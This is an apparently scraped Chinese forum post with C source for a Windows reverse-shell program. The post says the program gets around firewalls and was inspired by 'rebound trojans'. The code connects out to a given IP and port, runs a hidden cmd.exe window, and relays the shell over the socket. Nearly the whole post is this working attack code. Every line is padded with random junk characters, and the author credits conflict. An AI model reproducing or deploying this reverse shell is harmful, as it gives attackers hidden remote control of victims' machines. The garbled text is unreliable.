这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tlI]);iE,
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/* ============================== 6k+tO%{~
Rebound port in Windows NT !L/.[:X
By wind,2006/7 {`Mb ),G
===============================*/ )]m4FC:
#include Uf?+oc'{
#include sp0_f;bC
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#pragma comment(lib,"wsock32.lib") C?6q]k]r
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void OutputShell(); 2t=&h|6EW
SOCKET sClient; 2{g&9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {WeRFiQ?-
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void main(int argc,char **argv) \oP
{ i9peQ61{
WSADATA stWsaData; +hlR
int nRet; 4(,X.GVY/
SOCKADDR_IN stSaiClient,stSaiServer; R m2M
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if(argc != 3) ;B:\e8
{ .l,NmF9
printf("Useage:\n\rRebound DestIP DestPort\n"); *_ajb:
return; 1D~B\=LL}
} 'w|N}
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WSAStartup(MAKEWORD(2,2),&stWsaData); CdtwR0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lr`Gyl62
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stSaiClient.sin_family = AF_INET; -W|~YK7e
stSaiClient.sin_port = htons(0); LXR>M>a`
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bF +d_t
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1 Va@w
{ li}>xDSQ4
printf("Bind Socket Failed!\n"); *r6v9
return; /5\{(=0
} =v{ R(IX%
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stSaiServer.sin_family = AF_INET; A=*6|1w;
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $! g~pV
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nyG 5sWMpe
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hm1.UE
{ Imo?)dYK
printf("Connect Error!"); :a( Oc'T
return; mt-t8~A
} =]<X6!0mR
OutputShell(); u:^9ZQ+
} j?!/#'
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void OutputShell() gLbTZM4i
{ )_Iu7b
char szBuff[1024]; ?.nD!S@
SECURITY_ATTRIBUTES stSecurityAttributes; _Vr}ipx-k
OSVERSIONINFO stOsversionInfo; ,awkL
:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L 1q]
STARTUPINFO stStartupInfo; eHyIFoaC/
char *szShell; "m}N
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PROCESS_INFORMATION stProcessInformation; m`@~ZIa?>B
unsigned long lBytesRead; ',6d0>4*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); SQJ4}w>i
#*}cc
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rFto1m
stSecurityAttributes.lpSecurityDescriptor = 0; miY=xwK&
stSecurityAttributes.bInheritHandle = TRUE; !Jaj2mS.N
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); GGGz7_s
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }&EdA;/o_
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); e&9v`8}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Js9EsN%
stStartupInfo.wShowWindow = SW_HIDE; 2W)KfS
stStartupInfo.hStdInput = hReadPipe; h<BTu7a`r
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )fc+B_
hWr}Uui
GetVersionEx(&stOsversionInfo); m;u :_4
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switch(stOsversionInfo.dwPlatformId) asYUb&Hz88
{
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case 1: 7+P-MT
szShell = "command.com"; 08nA}+k
break; b.xG'
default: "s\himoa
szShell = "cmd.exe"; Lo +H&-
break; G-DOI
} s09 &A]G
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x0q`Uc
Ntpw(E<$f
send(sClient,szMsg,77,0); j<A; i
while(1) bX+"G}CRP
{ ?a~#`<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u9ue>I/
if(lBytesRead) PkF'#W%
{ U{3Pk0rZ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ->@iw!5xu
send(sClient,szBuff,lBytesRead,0); ER<Z!*2
} snny!
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else W0# VD e]>
{ R^6^{q
lBytesRead=recv(sClient,szBuff,1024,0); q&: t$tSS
if(lBytesRead<=0) break; !f#[4Xw
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (KphAA8
} *Di ;Gf@
} dca?(B!'6
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return; Jrx]/CM
}